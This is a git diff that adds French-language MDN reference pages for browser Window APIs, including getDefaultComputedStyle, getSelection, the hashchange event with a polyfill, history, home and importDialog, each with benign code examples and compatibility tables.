+
+<pre class="brush: js">&lt;style&gt;
+ #elem-container{
+   position: absolute;
+   left:     100px;
+   top:      200px;
+   height:   100px;
+ }
+&lt;/style&gt;
+
+&lt;div id="elem-container"&gt;dummy&lt;/div&gt;
+&lt;div id="output"&gt;&lt;/div&gt;
+
+&lt;script&gt;
+  function getTheStyle(){
+    var elem = document.getElementById("elem-container");
+    var theCSSprop = window.getComputedStyle(elem,null).getPropertyValue("height");
+    document.getElementById("output").innerHTML = theCSSprop;
+   }
+  getTheStyle();
+&lt;/script&gt;
+</pre>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="function token">function dumpComputedStyles</span><span class="punctuation token">(</span>elem<span class="punctuation token">,</span>prop<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+
+  <span class="keyword token">var</span> cs <span class="operator token">=</span> window<span class="punctuation token">.</span><span class="function token">getComputedStyle</span><span class="punctuation token">(</span>elem<span class="punctuation token">,</span><span class="keyword token">null</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>prop<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>prop<span class="operator token">+</span><span class="string token">" : "</span><span class="operator token">+</span>cs<span class="punctuation token">.</span><span class="function token">getPropertyValue</span><span class="punctuation token">(</span>prop<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">return</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">var</span> len <span class="operator token">=</span> cs<span class="punctuation token">.</span>length<span class="punctuation token">;</span>
+  <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i<span class="operator token">=</span><span class="number token">0</span><span class="punctuation token">;</span>i<span class="operator token">&lt;</span>len<span class="punctuation token">;</span>i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+
+    <span class="keyword token">var</span> style <span class="operator token">=</span> cs<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">;</span>
+    console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>style<span class="operator token">+</span><span class="string token">" : "</span><span class="operator token">+</span>cs<span class="punctuation token">.</span><span class="function token">getPropertyValue</span><span class="punctuation token">(</span>style<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet retourné est du même type que celui de la propriété {{domxref("HTMLElement.style", "style")}} de l'élément ciblé. Toutefois les deux objets ont des buts distincts. L'objet retourné par la méthode <code>getComputedStyle</code> est en lecture seule et peut être utilisée pour inspecter le style de l'élément y compris ceux ajoutés via un élément <code>&lt;style&gt;</code> ou une feuille de style externe. L'objet <code>elt.style</code> doit quant à lui être utilisé pour mettre à jour une propriété de style sur un élément donné.</p>
+
+<p>Le premier argument doit être un Element, sinon, si par exemple un #text Node est utilisé, une exception sera lancée. Depuis la version 1.9.2 de Gecko {{geckoRelease("1.9.2")}}, les URLs renvoyées ont désormais des guillemets autour de celles-ci: <code>url("http://foo.com/bar.jpg")</code>.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>pseudo-element support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>15</td>
+   <td>{{CompatVersionUnknown}} </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>WP7 Mango</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>pseudo-element support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Spécification">Spécification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSview-getComputedStyle">DOM Level 2 Style: getComputedStyle</a></li>
+ <li><a href="http://dev.w3.org/csswg/cssom/#resolved-values" title="http://dev.w3.org/csswg/cssom/#resolved-values">CSS Object Model specification</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("window.getDefaultComputedStyle")}}</li>
+ <li>{{cssxref("resolved_value", "Resolved Value")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/getdefaultcomputedstyle/index.html b/files/fr/web/api/window/getdefaultcomputedstyle/index.html
new file mode 100644
index 0000000000..de387ec600
--- /dev/null
+++ b/files/fr/web/api/window/getdefaultcomputedstyle/index.html
@@ -0,0 +1,149 @@
+---
+title: Window.getDefaultComputedStyle()
+slug: Web/API/Window/getDefaultComputedStyle
+tags:
+  - API
+  - CSS
+  - Method
+  - Reference
+translation_of: Web/API/window/getDefaultComputedStyle
+---
+<div>{{APIRef("CSSOM")}}{{Non-standard_header}}</div>
+
+<p><code>getDefaultComputedStyle()</code> fournit les valeurs calculées par défaut de toutes les propriétés CSS d'un élément, en ignorant la mise en forme de l'auteur. C'est-à-dire que seules les mises en forme de l'agent utilisateur et de l'utilisateur sont pris en compte.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>miseEnForme</em> = window.getDefaultComputedStyle(<em>element</em>[, <em>pseudoElt</em>]);
+</pre>
+
+<dl>
+ <dt>element</dt>
+ <dd>L'{{domxref("Element")}} dont on veut obtenir la mise en forme calculée.</dd>
+ <dt>pseudoElt {{optional_inline}}</dt>
+ <dd>Une chaîne indiquant le pseudo-élément à rechercher. Doit être <code>null</code> (ou non indiqué) pour les éléments ordinaires.</dd>
+</dl>
+
+<p>Le <code>style</code> retourné est un objet <a href="/fr-FR/docs/Web/API/CSSStyleDeclaration"><code>CSSStyleDeclaration</code></a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var elem1 = document.getElementById("IdElem");
+var miseEnForme = window.getDefaultComputedStyle(elem1);
+</pre>
+
+<pre class="brush: js">&lt;style&gt;
+#conteneur-elem {
+   position: absolute;
+   left:     100px;
+   top:      200px;
+   height:   100px;
+ }
+&lt;/style&gt;
+
+&lt;div id="conteneur-elem"&gt;factice&lt;/div&gt;
+&lt;div id="sortie"&gt;&lt;/div&gt;
+
+&lt;script&gt;
+    var elem = document.getElementById("conteneur-elem");
+    var laPropCSS = window.getDefaultComputedStyle(elem).position;
+    document.getElementById("sortie").innerHTML = laPropCSS; // affichera "static"
+&lt;/script&gt;   </pre>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet retourné est du même type que l'objet retourné par <code>getComputedStyle</code>, mais il ne prend en compte que les règles user-agent et user.</p>
+
+<h2 id="Utilisation_avec_des_pseudo-éléments">Utilisation avec des pseudo-éléments</h2>
+
+<p><code>getDefaultComputedStyle</code> peut extraire des informations de mise en forme à partir de pseudo-éléments (par exemple, ::after, ::before).</p>
+
+<pre class="brush: html">&lt;style&gt;
+ h3:after {
+   content: ' déchire !';
+ }
+&lt;/style&gt;
+
+&lt;h3&gt;contenu généré&lt;/h3&gt;
+
+&lt;script&gt;
+  var h3       = document.querySelector('h3'),
+      resultat = getDefaultComputedStyle(h3, ':after').content;
+
+  console.log('le contenu généré est : ', resultat); // retourne 'none'
+&lt;/script&gt;
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>La valeur retournée est, dans certains cas connus, expressément incorrecte par intention délibérée. En particulier, pour éviter le problème de sécurité appelé CSS History Leak, les navigateurs peuvent "mentir" sur la valeur utilisée pour un lien et toujours retourner des valeurs comme si l'utilisateur n'avait jamais visité le site concerné, et/ou limiter les styles qui peuvent être appliqués via l'utilisation du pseudo-sélecteur <code>:visited</code>. Voir <a href="http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/">http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/</a> et <a href="http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/">http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-visited/</a> pour le détail des exemples de la manière dont cela est implémenté.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Proposé au groupe de travail CSS.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>19</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>pseudo-element support</td>
+   <td>{{CompatNo}}</td>
+   <td>19</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>19</td>
+   <td>7.5</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>pseudo-element support</td>
+   <td>{{CompatNo}}</td>
+   <td>19</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/window/getselection/index.html b/files/fr/web/api/window/getselection/index.html
new file mode 100644
index 0000000000..9e2bfde703
--- /dev/null
+++ b/files/fr/web/api/window/getselection/index.html
@@ -0,0 +1,47 @@
+---
+title: window.getSelection
+slug: Web/API/Window/getSelection
+translation_of: Web/API/Window/getSelection
+---
+<p>{{ ApiRef() }}</p>
+
+<p>Renvoie un objet selection représentant le ou les objets sélectionnés.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval"><em>selection</em> = window.getSelection()
+</pre>
+
+<h2 id="Param.C3.A8tres" name="Param.C3.A8tres">Paramètres</h2>
+
+<ul>
+ <li><code>selection</code> est un objet de type {{DOMxRef("Selection")}}.</li>
+</ul>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="eval">function foo() {
+   var selObj = window.getSelection();
+   alert(selObj);
+   var selRange = selObj.getRangeAt(0);
+   // travailler avec la sélection
+}
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>En <a href="fr/JavaScript">JavaScript</a>, lorsqu'un objet de type Selection est passé à une fonction, c'est une représentation sous forme de chaîne (string), c'est-à-dire le texte sélectionné, qui lui est passée à la place. L'objet selection apparaît donc comme une chaîne, alors qu'il s'agit en réalité d'un objet possédant ses propres propriétés et méthodes. En pratique, c'est donc la valeur renvoyée par la méthode <code><a href="fr/DOM/Selection/toString">toString</a></code> de l'objet Selection qui est passée. Dans l'exemple ci-dessus, <code>selObj</code> est automatiquement « convertie » lorsqu'elle est passée à <a href="fr/DOM/window.alert">window.alert</a>. Cependant, pour utiliser une propriété ou méthode JavaScript de <a href="fr/JS/String">String</a> comme <code><a href="fr/JS/String.prototype.length">length</a></code> ou <code><a href="fr/JS/String.prototype.substr">substr</a></code>, il est nécessaire d'appeler manuellement la méthode <code>toString</code>. <span class="comment">I'm treading carefully with the word "convert" here because it could be misinterpreted as a permanent convert - Maian</span></p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<p>DOM Level 0. Ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi" name="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="../Selection_API">Selection API</a></li>
+ <li><a href="../Selection" title="Un objet Sélection représente la plage de texte sélectionnée par l'utilisateur ou la position actuelle du signe d'insertion. Pour obtenir un objet Sélection pour examen ou modification, appelez Window.getSelection()"><code>Selection</code></a></li>
+ <li><a href="../Range" title="L'interface Range représente un fragment d'un document qui peut contenir des nœuds et des parties de nœuds texte."><code>Range</code></a></li>
+ <li><a href="../Document/getSelection" title="La propriété getSelection() de l'interface DocumentOrShadowRoot renvoie un objet Selection, représentant l'étendue du texte sélectionné par l'utilisateur, ou la position actuelle du curseur."><code>Document.getSelection()</code></a></li>
+ <li><a href="../HTMLInputElement/setSelectionRange" title="La méthode HTMLInputElementElement.setSelectionRange() définit les positions de début et de fin de la sélection de texte courante dans un élément &lt;input&amp;gt ;."><code>HTMLInputElement.setSelectionRange()</code></a></li>
+</ul>
diff --git a/files/fr/web/api/window/hashchange_event/index.html b/files/fr/web/api/window/hashchange_event/index.html
new file mode 100644
index 0000000000..39926c03f5
--- /dev/null
+++ b/files/fr/web/api/window/hashchange_event/index.html
@@ -0,0 +1,193 @@
+---
+title: hashchange
+slug: Web/API/Window/hashchange_event
+tags:
+  - Reference
+  - Web
+translation_of: Web/API/Window/hashchange_event
+---
+<p>L'événement <code>hashchange</code> est déclenché lorsque l'identificateur de fragment de l'URL a changé (la partie de l'URL qui suit le symbole #, y compris le symbole # lui-même).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td>Bulles</td>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <td>Annulable</td>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <td>Objets cibles</td>
+   <td>{{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>Interface</td>
+   <td>{{domxref("HashChangeEvent")}}</td>
+  </tr>
+  <tr>
+   <td>Action par défaut</td>
+   <td>Aucune</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The browsing context (<code>window</code>).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Type de l'évènement</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>oldURL</code> {{readonlyInline}}</td>
+   <td>{{jsxref("String")}}</td>
+   <td>The previous URL from which the window was navigated.</td>
+  </tr>
+  <tr>
+   <td>newURL {{readonlyInline}}</td>
+   <td>{{jsxref("String")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Il existe plusieurs scripts de secours listés sur <a href="https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills">cette page</a>. Fondamentalement, ces scripts vérifient le <code>location.hash</code> à intervalles réguliers. Voici une version qui n'autorise qu'un seul gestionnaire à être lié à la propriété <code>window.onhashchange</code>:</p>
+
+<pre class="brush:js;">;(function(window) {
+
+  // Sortir si le navigateur implémente cet événement
+  if ("onhashchange" in window) { return; }
+
+  var location = window.location,
+    oldURL = location.href,
+    oldHash = location.hash;
+
+  // Vérifie la hash de la barre d'adresse toutes les 100ms
+  setInterval(function() {
+    var newURL = location.href,
+      newHash = location.hash;
+
+    // Si le hash a été changé et qu'un gestionnaire a été lié...
+    if (newHash != oldHash &amp;&amp; typeof window.onhashchange === "function") {
+      // exécute le gestionnaire
+      window.onhashchange({
+        type: "hashchange",
+        oldURL: oldURL,
+        newURL: newURL
+      });
+
+      oldURL = newURL;
+      oldHash = newHash;
+    }
+  }, 100);
+
+})(window);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'indices.html#event-hashchange', 'hashchange')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>5.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}<sup>[1]</sup></td>
+   <td>8.0<sup>[2]</sup></td>
+   <td>10.6</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>2.2</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}</td>
+   <td>9.0</td>
+   <td>11.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Support pour les attributs <code>oldURL</code>/<code>newURL</code> ajouté à  Firefox 6.</p>
+
+<p>[2] Les attributs <code>oldURL</code>/<code>newURL</code> ne sont pas supportés.</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla_event_reference/popstate"><code>popstate</code></a></li>
+ <li><a href="/en-US/docs/Web/API/WindowEventHandlers/onhashchange">WindowEventHandlers.onhashchange</a></li>
+</ul>
diff --git a/files/fr/web/api/window/history/index.html b/files/fr/web/api/window/history/index.html
new file mode 100644
index 0000000000..65ab9cfe4e
--- /dev/null
+++ b/files/fr/web/api/window/history/index.html
@@ -0,0 +1,53 @@
+---
+title: Window.history
+slug: Web/API/Window/history
+translation_of: Web/API/Window/history
+---
+<div>{{APIRef}}</div>
+
+<p>La propriété en lecture seule <strong style="font-family: 'Courier New','Andale Mono',monospace; line-height: inherit;">Window.history</strong> renvoie une référence à l'objet <span style="line-height: inherit;">{{domxref("History")}}, qui offre la possibilité de manipuler l'historique de session du navigateur (pages visitées dans l'onglet ou le cadre dans lesquels la page courante est chargée).</span></p>
+
+<p>L'objet <code style="font-size: 14px; line-height: inherit;">History</code><span style="line-height: inherit;"> obtenu a les méthodes suivantes : voir </span><a href="/en/DOM/Manipulating_the_browser_history" style="line-height: inherit;" title="en/DOM/Manipulating the browser history">la manipulation de l'historique du navigateur</a><span style="line-height: inherit;"> pour avoir plus de détails ainsi que des exemples.<br>
+ En particulier, cet article explique les caractéristiques des méthodes </span><code style="font-size: 14px; line-height: inherit;">pushState()</code><span style="line-height: inherit;"> et </span><code style="font-size: 14px; line-height: inherit;">replaceState()</code><span style="line-height: inherit;">qu'il est utile de connaître avant de les utiliser.</span></p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">history.back();     // similaire au bouton de retour
+history.go(-1);     // similaire à history.back();
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Pour les pages de niveau supérieur, vous pourrez voir la liste des pages dans l'historique des sessions, accessibles grâce à l'objet <code style="font-size: 14px; line-height: inherit;">History</code><span style="line-height: inherit;">, situé dans le menu déroulant près des boutons précédent et suivant.</span></p>
+
+<p><span style="line-height: inherit;">Pour des raisons de sécurité, l'objet </span><code style="font-size: 14px; line-height: inherit;">History</code><span style="line-height: inherit;"> n'autorise pas l'accès au URL d'autres pages présentes dans l'historique de la session mais autorise d'y naviguer.</span></p>
+
+<p>Il n'y a pas de possibilité de nettoyer l'historique de la session ou de désactiver les boutons précédent et suivant. La solution éventuelle la plus proche serait la méthode <a href="/en/DOM/window.location#replace" style="line-height: inherit; font-family: 'Courier New', 'Andale Mono', monospace;" title="en/DOM/window.location#replace">location.replace()</a>, permettant de remplacer l'élément actuel de l'historique de la session par l'URL fournie.</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'browsers.html#the-history-interface', 'The History interface')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#the-history-interface', 'The History interface')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Window.history")}}</p>
diff --git a/files/fr/web/api/window/home/index.html b/files/fr/web/api/window/home/index.html
new file mode 100644
index 0000000000..45d11a4ad5
--- /dev/null
+++ b/files/fr/web/api/window/home/index.html
@@ -0,0 +1,38 @@
+---
+title: Window.home()
+slug: Web/API/Window/home
+tags:
+  - API
+  - Gecko
+  - HTML DOM
+  - Méthode
+  - Obsolete
+  - Reference
+  - Window
+translation_of: Web/API/Window/home
+---
+<div>{{APIRef}}{{ Non-standard_header() }} {{ obsolete_header(31) }}</div>
+
+<p>La méthode <code><strong>Window.home()</strong></code> renvoie la fenêtre à la page d'accueil.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><em>window</em>.home();
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js notranslate">function goHome() {
+  window.home();
+}
+</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p>DOM Niveau 0. Ne fait pas partie de la spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.home")}}</p>
diff --git a/files/fr/web/api/window/importdialog/index.html b/files/fr/web/api/window/importdialog/index.html
new file mode 100644
index 0000000000..8b870f39d6
--- /dev/null
+++ b/files/fr/web/api/window/importdialog/index.html
@@ -0,0 +1,64 @@
+---
+title: window.importDialog
+slug: Web/API/Window/importDialog
+tags:
+  - Traduction_à_relire
+translation_of: Archive/Web/Window.importDialog
+---
+<p>{{ ApiRef() }}</p>
+<div class="note">
+ Cette page vient d'être traduite, mais elle a besoin d'un relecteur différent du traducteur. Pensez également à toujours vérifier le contenu avec sa toute dernière version en anglais.</div>
+<h2 id="Résumé">Résumé</h2>
+<p>Puisque ouvrir une nouvelle fenêtre sur une plateforme mobile n'est pas vraiment approprié, l'équipe de Firefox Mobile a créé la méthode <code>importDialog()</code> pour remplacer {{ domxref("window.openDialog()") }}. Au lieu d'ouvrir une nouvelle fenêtre, elle fusionne l'élément XUL <code>dialog</code> spécifié avec la fenêtre principale.</p>
+<h2 id="Syntaxe">Syntaxe</h2>
+<pre><em>newDialog</em> = importDialog(<em>aParent</em>, <span style="font-style: italic;">aSrc</span>, aArguments)
+</pre>
+<dl>
+ <dt>
+  <code>newDialog</code></dt>
+ <dd>
+  La fenêtre ouverte.</dd>
+ <dt>
+  <code>aParent</code></dt>
+ <dd>
+  L'élément parent de la boîte de dialogue. Peut être <code>null</code>.</dd>
+ <dt>
+  <code>aSrc</code></dt>
+ <dd>
+  L'URL chrome vers la boîte de dialogue XUL.</dd>
+ <dt>
+  <code>aArguments</code></dt>
+ <dd>
+  Un objet JavaScript contenant les données à passer à la boîte de dialogue.</dd>
+</dl>
+<h2 id="Exemple">Exemple</h2>
+<pre class="eval language-html"><em>newDialog</em> = importDialog(<em>aParent</em>, <span style="font-style: italic;">aSrc</span>, aArguments)
+</pre>
+<dl>
+ <dt>
+  <code>newDialog</code></dt>
+ <dd>
+  La fenêtre ouverte</dd>
+ <dt>
+  <code>aParent</code></dt>
+ <dd>
+  La parent de la fenêtre, éventuellement <code>null</code>.</dd>
+ <dt>
+  <code>aSrc</code></dt>
+ <dd>
+  L'URL chrome  de la boîte de dialogue XUL.</dd>
+ <dt>
+  <code>aArguments</code></dt>
+ <dd>
+  Un objet JavaScript contenant les données à transférer à la boîte de dialogue.</dd>
+</dl>
+<h2 id="Notes">Notes</h2>
+<p>Le XUL passé à la méthode <code>importDialog()</code> est très similaire à celui passé à la méthode {{ domxref("window.openDialog()") }}, avec cependant quelques limitations et mises en garde :</p>
+<ul>
+ <li>La racine doit être un élément <code>&lt;dialog&gt;</code>.</li>
+ <li>Les scripts ne doivent pas être chargés via la balise <code>&lt;script&gt;</code>, mais depuis un attribut de l'élément <code>&lt;dialog&gt;</code> .</li>
+</ul>
+<p>Le XUL est fusionné avec la fenêtre spécifiée, un peu à la manière d'un overlay. En conséquence, des conflits entre les identifiants (attributs <code>id</code>) et les scripts JavaScript sont possibles, comme avec les overlays. Prenez cela en considération.</p>
+<h2 id="Spécification">Spécification</h2>
+<p>{{ DOM0() }}</p>
+<p>{{ languages( { "en": "en/DOM/window.importDialog", "fr": "fr/DOM/window.importDialog" } ) }}</p>
diff --git a/files/fr/web/api/window/index.html b/files/fr/web/api/window/index.html
new file mode 100644
index 0000000000..17a9f19ab8
--- /dev/null
+++ b/files/fr/web/api/window/index.html
@@ -0,0 +1,665 @@
+---
+title: window
+slug: Web/API/Window
+tags:
+  - API
+  - DOM
+  - Interface
+  - JavaScript
+  - Reference
+  - Window
+translation_of: Web/API/Window
+---
+<p>{{APIRef}}</p>
+
+<p><span class="seoSummary">L'objet <code>window</code> représente une fenêtre contenant un document DOM ; la propriété <code>document</code> pointe vers le <a href="/fr-FR/docs/DOM/document">document DOM</a> chargé dans cette fenêtre.</span> Une fenêtre pour un document donné peut être obtenue en utilisant la propriété {{Domxref("document.defaultView")}}.</p>
+
+<p>Cette section fournit une brève référence pour toutes les méthodes, propriétés et événements disponibles via l'objet DOM <code>window</code>. L'objet <code>window</code> implémente l'interface <code>Window</code>, qui à son tour hérite de l'interface <code><a href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-AbstractView">AbstractView</a></code>. Certaines fonctions globales supplémentaires, espaces de noms, objets, interfaces et constructeurs, non typiquement associés à la fenêtre, mais disponibles sur celle-ci, sont répertoriés dans la <a href="/fr-FR/docs/JavaScript/Reference">Référence JavaScript</a> et la <a href="/fr-FR/docs/Web/API/Document_Object_Model" title="/fr-FR/docs/Web/API/Document_Object_Model">Référence DOM</a>.</p>
+
+<p>Dans un navigateur utilisant des onglets, comme Firefox, chaque onglet contient son propre objet <code>window</code> (et si vous écrivez une extension, la fenêtre du navigateur elle-même est un objet <code>window</code> séparé — consultez <a href="/fr/docs/Mozilla/Working_with_windows_in_chrome_code#Fen.C3.AAtres_de_contenu">Travailler avec des fenêtres dans du code chrome</a> pour plus d'informations). C'est-à-dire que l'objet <code>window</code> n'est pas partagé entre les onglets dans la même fenêtre. Certaines méthodes, notamment {{ Domxref("window.resizeTo") }} et {{ Domxref("window.resizeBy") }}, s'appliquent à la fenêtre entière et non à l'onglet spécifique auquel l'objet <code>window</code> appartient. En général, ce qui ne peut raisonnablement pas concerner un onglet se rapporte à la fenêtre à la place.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
